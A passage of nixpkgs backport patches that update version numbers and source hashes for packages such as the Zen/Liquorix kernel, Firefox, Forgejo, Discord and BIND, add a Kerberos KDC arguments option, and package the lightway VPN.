     url = "https://github.com/getgrav/grav/releases/download/${version}/grav-admin-v${version}.zip";
-    hash = "sha256-Yu7uFoim12pe4OT/dSsQVcZ6nyYGKWLJbsfLFtI05Z8=";
+    hash = "sha256-ZOhZ5O5s8P4nqjSsLEu4RpyTfZ34YBi0itETwcRdIPQ=";
   };
 
   patches = [

From 45383f94363163e40d0dbb23df91011e331557be Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 6 Sep 2025 10:04:14 +0000
Subject: [PATCH 4316/4511] linuxKernel.kernels.linux_lqx: 6.16.3 -> 6.16.5

(cherry picked from commit 6c498babdb3e4f325d839c8c2942929034e41139)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index d980f8b31f54..35de64586b33 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.16.3"; # lqx
+      version = "6.16.5"; # lqx
       suffix = "lqx1"; # lqx
-      sha256 = "0y7ym3kcy936p3kz71dx411l7pms53cfqbq8h8dp9vxw9vhjkh5n"; # lqx
+      sha256 = "149pkbzsx1z5b8qizf03nz5b4p7in0kbyy8d35svvzrljr6dzjqn"; # lqx
       isLqx = true;
     };
   };

From 85a829dbdd768f81fe8131e9c408cc567aaa5687 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 4 Sep 2025 11:53:58 +0000
Subject: [PATCH 4317/4511] firefox-devedition-unwrapped: 143.0b7 -> 143.0b8

(cherry picked from commit 6667fb8314ffdee3a7ed632b3a2b292d46bd5fdc)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index b69e94984daf..13f91c7d8161 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "143.0b7";
+  version = "143.0b8";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "0c1c3af3412b14425df005b53af00e8af526cb6e0bc36f32f6bce1f4332959f35ffed4b795a40e004a41fea9747a7b7c7f6cacfd70b6ef4f54b47556cdc31ec5";
+    sha512 = "89152a4dd3e17f68d7991fae65a6365a2273fcbef28c245a76e9e068a1f12c486a7d0c6d3cb8988c1c9955b15809fa93e117e25b04f9b1a9d449e685cbf30cfc";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From 779ea3331e15c6d6585809ae86d3bc4d9102e7db Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 4 Sep 2025 11:54:25 +0000
Subject: [PATCH 4318/4511] firefox-beta-unwrapped: 143.0b7 -> 143.0b8

(cherry picked from commit fd34e94142656af1f6d508b7df996d22482a8507)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 503ebcdeccdf..b71647b7dd19 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "143.0b7";
+  version = "143.0b8";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "bf71930c7a5ab2c4ccc4f0179702491bd314763c469501f68df6cef0f1db57da6f16da77bc5d7692c0f5edf8ce616d8f927d2fa59c5c386217b9022a8e9802f8";
+    sha512 = "bf8e78abcc1cf6c8b48a591d0185c85195a818de0d13bafa3f004ad9c76364a2c07cacdf09fe0ae2e290d9cbce7b8c3ba4b57793cd3d39240023ef53eea08377";
   };
 
   meta = {

From 078e17c0be74cc0e46b2efb91542f04ec868ffcf Mon Sep 17 00:00:00 2001
From: "nixpkgs-ci[bot]" <190413589+nixpkgs-ci[bot]@users.noreply.github.com>
Date: Sat, 6 Sep 2025 13:55:31 +0200
Subject: [PATCH 4319/4511] [Backport release-25.05] nixos/kerberos_server: add
 extraKDCArgs option (#440187)

nixos/kerberos_server: add extraKDCArgs option

(cherry picked from commit b3af89dd388831ab13e769a62375a3bdb758ad3f)

Co-authored-by: Katalin Rebhan <me@dblsaiko.net>
---
 nixos/modules/services/system/kerberos/default.nix |  9 +++++++++
 nixos/modules/services/system/kerberos/heimdal.nix | 11 ++++++++++-
 nixos/modules/services/system/kerberos/mit.nix     | 12 +++++++++++-
 3 files changed, 30 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/system/kerberos/default.nix b/nixos/modules/services/system/kerberos/default.nix
index 5e7210ca7629..5dfc3bed844f 100644
--- a/nixos/modules/services/system/kerberos/default.nix
+++ b/nixos/modules/services/system/kerberos/default.nix
@@ -7,6 +7,7 @@
 
 let
   inherit (lib) mkOption types;
+  inherit (lib.types) listOf str;
   cfg = config.services.kerberos_server;
   inherit (config.security.krb5) package;
 
@@ -41,6 +42,14 @@ in
         '';
         default = { };
       };
+
+      extraKDCArgs = mkOption {
+        type = listOf str;
+        description = ''
+          Extra arguments to pass to the KDC process. See {manpage}`kdc(8)`.
+        '';
+        default = [ ];
+      };
     };
   };
 
diff --git a/nixos/modules/services/system/kerberos/heimdal.nix b/nixos/modules/services/system/kerberos/heimdal.nix
index 6daa86e79aae..2094a4dceb24 100644
--- a/nixos/modules/services/system/kerberos/heimdal.nix
+++ b/nixos/modules/services/system/kerberos/heimdal.nix
@@ -2,11 +2,14 @@
   pkgs,
   config,
   lib,
+  utils,
   ...
 }:
 
 let
   inherit (lib) mapAttrs;
+  inherit (utils) escapeSystemdExecArgs;
+
   cfg = config.services.kerberos_server;
   package = config.security.krb5.package;
 
@@ -94,7 +97,13 @@ in
         "info:heimdal"
       ];
       serviceConfig = {
-        ExecStart = "${package}/libexec/kdc --config-file=/etc/heimdal-kdc/kdc.conf";
+        ExecStart = escapeSystemdExecArgs (
+          [
+            "${package}/libexec/kdc"
+            "--config-file=/etc/heimdal-kdc/kdc.conf"
+          ]
+          ++ cfg.extraKDCArgs
+        );
         Slice = "system-kerberos-server.slice";
         StateDirectory = "heimdal";
       };
diff --git a/nixos/modules/services/system/kerberos/mit.nix b/nixos/modules/services/system/kerberos/mit.nix
index f1caa92c04df..0011f4cf1431 100644
--- a/nixos/modules/services/system/kerberos/mit.nix
+++ b/nixos/modules/services/system/kerberos/mit.nix
@@ -2,11 +2,14 @@
   pkgs,
   config,
   lib,
+  utils,
   ...
 }:
 
 let
   inherit (lib) mapAttrs;
+  inherit (utils) escapeSystemdExecArgs;
+
   cfg = config.services.kerberos_server;
   package = config.security.krb5.package;
   PIDFile = "/run/kdc.pid";
@@ -91,7 +94,14 @@ in
       serviceConfig = {
         Type = "forking";
         PIDFile = PIDFile;
-        ExecStart = "${package}/bin/krb5kdc -P ${PIDFile}";
+        ExecStart = escapeSystemdExecArgs (
+          [
+            "${package}/bin/krb5kdc"
+            "-P"
+            "${PIDFile}"
+          ]
+          ++ cfg.extraKDCArgs
+        );
         Slice = "system-kerberos-server.slice";
         StateDirectory = "krb5kdc";
       };

From 6e5475b9d43f0c3c388cd3a2dbcba9443fff7af6 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Sat, 6 Sep 2025 13:14:23 +0200
Subject: [PATCH 4320/4511] forgejo: 12.0.2 -> 12.0.3

Contains security fixes for Mermaid (XSS) and <https://github.com/ulikunitz/xz>.

https://codeberg.org/forgejo/forgejo/releases/tag/v12.0.3

https://codeberg.org/forgejo/forgejo/src/commit/eaa83f52f29a287719d1537fe82c5c8baed8ddf5/release-notes-published/12.0.3.md
(cherry picked from commit 4d0c4d7d5131e6011ff2e8e1e67663c8ae2838ff)
---
 pkgs/by-name/fo/forgejo/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fo/forgejo/package.nix b/pkgs/by-name/fo/forgejo/package.nix
index 91a2db1e1bbb..764186bdc75c 100644
--- a/pkgs/by-name/fo/forgejo/package.nix
+++ b/pkgs/by-name/fo/forgejo/package.nix
@@ -1,8 +1,8 @@
 import ./generic.nix {
-  version = "12.0.2";
-  hash = "sha256-BkyzOrpwKkROKiZgSCr8Z7n8WO6qnkDyCBJ4HWO71Ws=";
-  npmDepsHash = "sha256-kq2AV1D0xA4Csm8XUTU5D0iCmyuajcnwlLdPjJ/mj1g=";
-  vendorHash = "sha256-B9menPCDUOYHPCS0B5KpxuE03FdFXmA8XqkiYEAxs5Y=";
+  version = "12.0.3";
+  hash = "sha256-3uXGDX1uKxXehiMBG1cMIttJFRACIm3UE8U2OtUWjOQ=";
+  npmDepsHash = "sha256-V8FUoL9y36bagkg8Scttv/IzKg+MIIqp7witvT8bSWA=";
+  vendorHash = "sha256-GE3trnaWuAVSEfi11tZo5JXedWOYOMzcHQ3GFyISVTQ=";
   lts = false;
   nixUpdateExtraArgs = [
     "--override-filename"

From d9c3a244bfafe636ebead6e0acd1b20ba11a4b56 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Sat, 6 Sep 2025 13:14:48 +0200
Subject: [PATCH 4321/4511] forgejo-lts: 11.0.4 -> 11.0.5

Contains security fixes for Mermaid (XSS) and <https://github.com/ulikunitz/xz>.

https://codeberg.org/forgejo/forgejo/releases/tag/v11.0.5

https://codeberg.org/forgejo/forgejo/src/commit/eaa83f52f29a287719d1537fe82c5c8baed8ddf5/release-notes-published/11.0.5.md
(cherry picked from commit 7adaaf8f4c8525bc8295664040da898e667ab68e)
---
 pkgs/by-name/fo/forgejo/lts.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fo/forgejo/lts.nix b/pkgs/by-name/fo/forgejo/lts.nix
index 35f170128a49..8572f2b421d5 100644
--- a/pkgs/by-name/fo/forgejo/lts.nix
+++ b/pkgs/by-name/fo/forgejo/lts.nix
@@ -1,8 +1,8 @@
 import ./generic.nix {
-  version = "11.0.4";
-  hash = "sha256-RI6eCJx1QTDkzY1oFKwCQyOrRXMd0TFihWofC4ZCv44=";
-  npmDepsHash = "sha256-wsjosyZ5J5mU7ixbWjXnbqkvgnOE0dGz81vVqaI61go=";
-  vendorHash = "sha256-Zfjp6EKiO74wYgvc85AwtDg+3Nf7lEa1ZKQMMcYPM34=";
+  version = "11.0.5";
+  hash = "sha256-r1PR2WfJUvt+5K9RQi+9+xJmhtpqP6cGzEk77DiZUlE=";
+  npmDepsHash = "sha256-1lY08jBTx3DRhoaup02076EL9n85y57WCsS/cNcM4aw=";
+  vendorHash = "sha256-Jh8u+iCBhYdKcLj4IzcKtJBnzvclvUeYbR/hjMN+cPs=";
   lts = true;
   nixUpdateExtraArgs = [
     "--override-filename"

From cdaafcba039648345596f533ceb20c2fd58055e0 Mon Sep 17 00:00:00 2001
From: Kenneth Tan <i.am@kennethtan.xyz>
Date: Sat, 6 Sep 2025 18:57:38 +0800
Subject: [PATCH 4322/4511] maintainers: add dustyhorizon

(cherry picked from commit a0317d844db18403bd8d3d0d19443e2d22273d3c)
---
 maintainers/maintainer-list.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index e50400a0739a..c135bc1f439e 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -6777,6 +6777,13 @@
     name = "Duncan Dean";
     keys = [ { fingerprint = "9484 44FC E03B 05BA 5AB0  591E C37B 1C1D 44C7 86EE"; } ];
   };
+  dustyhorizon = {
+    name = "Kenneth Tan";
+    email = "i.am@kennethtan.xyz";
+    github = "dustyhorizon";
+    githubId = 4987132;
+    keys = [ { fingerprint = "1021 2207 286B F15B 0CF1  C5EA D70C C9F5 CEF4 EEB8"; } ];
+  };
   DutchGerman = {
     name = "Stefan Visser";
     email = "stefan.visser@apm-ecampus.de";

From 308a2b293806e986ffa4a2a86ff5dee87743f623 Mon Sep 17 00:00:00 2001
From: Kenneth Tan <i.am@kennethtan.xyz>
Date: Sat, 6 Sep 2025 18:59:25 +0800
Subject: [PATCH 4323/4511] lightway: init at 0-unstable-2025-09-04

Co-Authored-By: usertam <code@usertam.dev>
(cherry picked from commit 34e35a0ca6c348bd05bbe5bab3ded066ff576b68)
---
 pkgs/by-name/li/lightway/package.nix | 59 ++++++++++++++++++++++++++++
 1 file changed, 59 insertions(+)
 create mode 100644 pkgs/by-name/li/lightway/package.nix

diff --git a/pkgs/by-name/li/lightway/package.nix b/pkgs/by-name/li/lightway/package.nix
new file mode 100644
index 000000000000..051d056855e6
--- /dev/null
+++ b/pkgs/by-name/li/lightway/package.nix
@@ -0,0 +1,59 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitHub,
+  autoconf,
+  automake,
+  libtool,
+  rustPlatform,
+}:
+
+rustPlatform.buildRustPackage {
+  pname = "lightway";
+  version = "0-unstable-2025-09-04";
+
+  src = fetchFromGitHub {
+    owner = "expressvpn";
+    repo = "lightway";
+    rev = "4eb836158607c83d47226703de5a043519586782";
+    hash = "sha256-sNhTdJTxNxHMVswyzizgBfGbmJhYmMZY/5nVD7ScLjM=";
+  };
+
+  cargoHash = "sha256-3/6yEyGntyxxCqrMy2M9dtV2pWiD4M0Rtnb52I4n9nU=";
+  cargoDepsName = "lightway";
+
+  cargoBuildFlags = lib.cli.toGNUCommandLine { } {
+    package = [
+      "lightway-client"
+      "lightway-server"
+    ];
+
+    features = lib.optionals stdenv.hostPlatform.isLinux [
+      "io-uring"
+    ];
+  };
+
+  # Some tests rely on debug_assert! and fail in release.
+  # https://github.com/expressvpn/lightway/issues/274
+  checkType = "debug";
+
+  # For wolfSSL.
+  nativeBuildInputs = [
+    autoconf
+    automake
+    libtool
+    rustPlatform.bindgenHook
+  ];
+
+  meta = {
+    description = "A modern VPN protocol in Rust";
+    homepage = "https://expressvpn.com/lightway";
+    license = lib.licenses.agpl3Only;
+    maintainers = with lib.maintainers; [
+      dustyhorizon
+      usertam
+    ];
+    platforms = with lib.platforms; darwin ++ linux;
+    mainProgram = "lightway-client";
+  };
+}

From be3a340988964bcfc756fb40f1718c352d43c79c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 6 Sep 2025 15:25:49 +0000
Subject: [PATCH 4324/4511] outline: 0.86.1 -> 0.87.3

(cherry picked from commit e4af28d3ca77cc89d74afaafeccd61c24b2ba090)
---
 pkgs/servers/web-apps/outline/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/web-apps/outline/default.nix b/pkgs/servers/web-apps/outline/default.nix
index 1c91181dc8f7..ecdd6f5a169e 100644
--- a/pkgs/servers/web-apps/outline/default.nix
+++ b/pkgs/servers/web-apps/outline/default.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation rec {
   pname = "outline";
-  version = "0.86.1";
+  version = "0.87.3";
 
   src = fetchFromGitHub {
     owner = "outline";
     repo = "outline";
     rev = "v${version}";
-    hash = "sha256-lsiwTpmb9E6C5FuYFfko4PqulDcqWU9sQnzSEJ3Y4NE=";
+    hash = "sha256-hayA8zYSl4PFRlsK6n2881eef2J9Oy3FhiMFgdFgONY=";
   };
 
   nativeBuildInputs = [
@@ -35,7 +35,7 @@ stdenv.mkDerivation rec {
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = "${src}/yarn.lock";
-    hash = "sha256-9xJ+N+UaHTlBzXvFPyYgB4jNwdiWCkvCSN22kEGuIxI=";
+    hash = "sha256-1u9/I1H2BsUS5qPwNAdCrug3ekCTyWHd60kR9FXugV0=";
   };
 
   configurePhase = ''

From a147c05fd0198d8f45724c64d92f5ba1e7d2e005 Mon Sep 17 00:00:00 2001
From: CherryKitten <sammy@cherrykitten.dev>
Date: Sat, 6 Sep 2025 21:08:59 +0200
Subject: [PATCH 4325/4511] gotosocial: 0.19.1 -> 0.19.2

(cherry picked from commit efd2264927465c47cd48c7adc071a3b479bac350)
---
 pkgs/by-name/go/gotosocial/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/go/gotosocial/package.nix b/pkgs/by-name/go/gotosocial/package.nix
index 5a4af08568e0..3497a02ce306 100644
--- a/pkgs/by-name/go/gotosocial/package.nix
+++ b/pkgs/by-name/go/gotosocial/package.nix
@@ -10,11 +10,11 @@ let
   owner = "superseriousbusiness";
   repo = "gotosocial";
 
-  version = "0.19.1";
+  version = "0.19.2";
 
   web-assets = fetchurl {
     url = "https://${domain}/${owner}/${repo}/releases/download/v${version}/${repo}_${version}_web-assets.tar.gz";
-    hash = "sha256-UtxFm8ZSpIGXruBdanSF1lkA7Gs1FJNhoqzDTqSNYUM=";
+    hash = "sha256-et1jguboadjJJdUpugmRvkAtpdfHxn4+ftXUH/hWTdE=";
   };
 in
 buildGoModule rec {
@@ -24,7 +24,7 @@ buildGoModule rec {
   src = fetchFromGitea {
     inherit domain owner repo;
     tag = "v${version}";
-    hash = "sha256-RhJRdRxTdbZwIAGD3gH0mjDfCvdS7xkRxcUd1ArsNoo=";
+    hash = "sha256-06ZBfOD222bt8nwlGCd7uuHS3P8YiaCKWWeYqlyJXns=";
   };
 
   vendorHash = null;

From de5d9a584cade9d22276ca9d6169ad17dde9d196 Mon Sep 17 00:00:00 2001
From: Jost Alemann <alemann@posteo.com>
Date: Thu, 28 Aug 2025 08:10:32 +0200
Subject: [PATCH 4326/4511] yt-dlp: 2025.08.22 -> 2025.08.27

Changelog: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.08.27
Diff: https://github.com/yt-dlp/yt-dlp/compare/2025.08.22...2025.08.27
(cherry picked from commit 198ebdb2108b814c58fa3491593f25729f2ce588)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index 803a3cbce898..f49335d36e26 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -19,14 +19,14 @@ python3Packages.buildPythonApplication rec {
   # The websites yt-dlp deals with are a very moving target. That means that
   # downloads break constantly. Because of that, updates should always be backported
   # to the latest stable release.
-  version = "2025.08.22";
+  version = "2025.08.27";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "yt-dlp";
     repo = "yt-dlp";
     tag = version;
-    hash = "sha256-58Qj+Bt4GEGgWpqAuMVemixm5AUcqS+e2Sajoeun8KY=";
+    hash = "sha256-E8++/gK/SpY93UW/9U266Qj1Kkn6CeNou7bKTqpCgFw=";
   };
 
   postPatch = ''

From 4c4905ecea9d044bd9d8e2c0cb7f1a0501a4397d Mon Sep 17 00:00:00 2001
From: crertel <chris@kedagital.com>
Date: Sat, 6 Sep 2025 20:29:17 -0500
Subject: [PATCH 4327/4511] lmstudio: 0.3.24.6 -> 0.3.25.2

(cherry picked from commit 8b712d9668e0023527a5e7907624e80b6def01e8)
---
 pkgs/by-name/lm/lmstudio/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/lm/lmstudio/package.nix b/pkgs/by-name/lm/lmstudio/package.nix
index d7f236d48efc..d3c7be446db8 100644
--- a/pkgs/by-name/lm/lmstudio/package.nix
+++ b/pkgs/by-name/lm/lmstudio/package.nix
@@ -7,10 +7,10 @@
 let
   pname = "lmstudio";
 
-  version_aarch64-darwin = "0.3.24-6";
-  hash_aarch64-darwin = "sha256-1SNiyxpjEaxzlIcotgNiCW3LLIqRI55jTKzj2T9PtNs=";
-  version_x86_64-linux = "0.3.24-6";
-  hash_x86_64-linux = "sha256-TjfrNPr8xRUOmRRx2rLJEh3D/kV3OOfqgRTVstOd6AE=";
+  version_aarch64-darwin = "0.3.25-2";
+  hash_aarch64-darwin = "sha256-tbV7b59+98hf0eqkciGz0Zihx8I0+I+Y7gg+sg5fMqc=";
+  version_x86_64-linux = "0.3.25-2";
+  hash_x86_64-linux = "sha256-5KYZpQt0Y7oRIkXZ5Nyv2FkCl0T+KHsoC1zL4TjbcN4=";
 
   meta = {
     description = "LM Studio is an easy to use desktop app for experimenting with local and open-source Large Language Models (LLMs)";

From f2150e9896701fe43859a9188426d2fee4d56d83 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 6 Sep 2025 11:05:11 +0000
Subject: [PATCH 4328/4511] matomo: 5.3.2 -> 5.4.0

(cherry picked from commit 4c056af639d6e8247997d1e0f16c11c9244e07db)
---
 pkgs/by-name/ma/matomo/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/matomo/package.nix b/pkgs/by-name/ma/matomo/package.nix
index b935b23d1930..53c7fcc46ff4 100644
--- a/pkgs/by-name/ma/matomo/package.nix
+++ b/pkgs/by-name/ma/matomo/package.nix
@@ -10,11 +10,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "matomo";
-  version = "5.3.2";
+  version = "5.4.0";
 
   src = fetchurl {
     url = "https://builds.matomo.org/matomo-${finalAttrs.version}.tar.gz";
-    hash = "sha256-rn5Lr2BSrGitI16MLlP91znSPm2Asd6j0qI8N+1c+Lo=";
+    hash = "sha256-PRZYqJBebDsjeT9WBArRX3GKFbW5TtejV2FOo8jjaMU=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 7f6cd6f9e5f5fa099d0d280f230cf407af1e3ebc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Sun, 7 Sep 2025 11:14:19 +0200
Subject: [PATCH 4329/4511] renovate: fix build failure by pinning to nodejs_20

Not-cherry-picked-because: on unstable this is fixed by bumping the
major version of this package, which we shouldn't backport due to
breaking changes.
---
 pkgs/top-level/all-packages.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 862b7fb44364..4a08fecb28a6 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -9543,7 +9543,7 @@ with pkgs;
   redland = librdf_redland; # added 2018-04-25
 
   renovate = callPackage ../by-name/re/renovate/package.nix {
-    nodejs = nodejs_22;
+    nodejs = nodejs_20;
   };
 
   qradiolink = callPackage ../applications/radio/qradiolink {

From cac3c1ca6e0d2d07ec2758f2f51985780cd48eb1 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Mon, 25 Aug 2025 06:59:18 +0100
Subject: [PATCH 4330/4511] bind: 9.20.11 -> 9.20.12

Changes: https://bind9.readthedocs.io/en/v9.20.12/changelog.html
(cherry picked from commit e10727139af6928b350638ed9a76685d72859413)
---
 pkgs/by-name/bi/bind/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bi/bind/package.nix b/pkgs/by-name/bi/bind/package.nix
index 3add9a0b6121..f62448360f46 100644
--- a/pkgs/by-name/bi/bind/package.nix
+++ b/pkgs/by-name/bi/bind/package.nix
@@ -27,11 +27,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "bind";
-  version = "9.20.11";
+  version = "9.20.12";
 
   src = fetchurl {
     url = "https://downloads.isc.org/isc/bind9/${finalAttrs.version}/bind-${finalAttrs.version}.tar.xz";
-    hash = "sha256-TaLVMuZovCHog/bm2dPYF5TZ7GCxgVMDhWSaVvRu4Xo=";
+    hash = "sha256-3TLW62dQTopDCq9wtO+JTz0CJrRMfgI3DJsNN38ceZk=";
   };
 
   outputs = [

From aae69deffdbe475bf39034f1d3366df4f9e98a7b Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 6 Sep 2025 16:05:23 +0000
Subject: [PATCH 4331/4511] discord: 0.0.107 -> 0.0.108

(cherry picked from commit a5dbac695c912cf455b6b6889ad47c02ef836d86)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index ef0814130255..5e62bead3ecc 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -9,7 +9,7 @@ let
   versions =
     if stdenv.hostPlatform.isLinux then
       {
-        stable = "0.0.107";
+        stable = "0.0.108";
         ptb = "0.0.158";
         canary = "0.0.748";
         development = "0.0.84";
@@ -26,7 +26,7 @@ let
     x86_64-linux = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/linux/${version}/discord-${version}.tar.gz";
-        hash = "sha256-uL923Fc8Io0GUnQjaAl7sRahL6CO/qzNzkqk/oKkZCo=";
+        hash = "sha256-hKFhylEovj89WxpTexkzR9C6tN47V9iDKQYpCjgojvw=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";

From b5213ebc53fa3e663dc84f07d7162138588a8b17 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 6 Sep 2025 16:06:54 +0000
Subject: [PATCH 4332/4511] discord-ptb: 0.0.158 -> 0.0.159

(cherry picked from commit 79c5b1e4d35f9550a6c8fae2c942a51e67cb9fda)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 5e62bead3ecc..8f1ba9b5c7c3 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -10,7 +10,7 @@ let
     if stdenv.hostPlatform.isLinux then
       {
         stable = "0.0.108";
-        ptb = "0.0.158";
+        ptb = "0.0.159";
         canary = "0.0.748";
         development = "0.0.84";
       }
@@ -30,7 +30,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
-        hash = "sha256-LPzdVaXQXmnlD274ESZ2/AceXcoazReA1HemuTcdj1o=";
+        hash = "sha256-Rw3ppCZTuNG+eAB02goLL9yT1ldZhrBD50Tirzuo1CQ=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";

From 39bede1bf2b583febc1f286cee7cf134980a8913 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 6 Sep 2025 16:08:04 +0000
Subject: [PATCH 4333/4511] discord-canary: 0.0.748 -> 0.0.751

(cherry picked from commit 68c295cd44aa163003ecf995f021720c8faaba7b)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 8f1ba9b5c7c3..828b94cec0ae 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -11,7 +11,7 @@ let
       {
         stable = "0.0.108";
         ptb = "0.0.159";
-        canary = "0.0.748";
+        canary = "0.0.751";
         development = "0.0.84";
       }
     else
@@ -34,7 +34,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-kjq8liiC/Op+Ik+r9RSl/tPLDlWiUyIb3cOjAxWpkO0=";
+        hash = "sha256-cE1BiWwZGrSzvdKDSiAs+Dz/nnxhuVs4JQYMwwY/F5k=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";

From f511dc1e2c1842532abf48d0d092ba5f335f7b54 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 6 Sep 2025 16:10:04 +0000
Subject: [PATCH 4334/4511] discord-development: 0.0.84 -> 0.0.85

(cherry picked from commit 28cda997a1cbe027a9619b9c971ddc542631b72e)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 828b94cec0ae..2d5d7d0be23b 100644
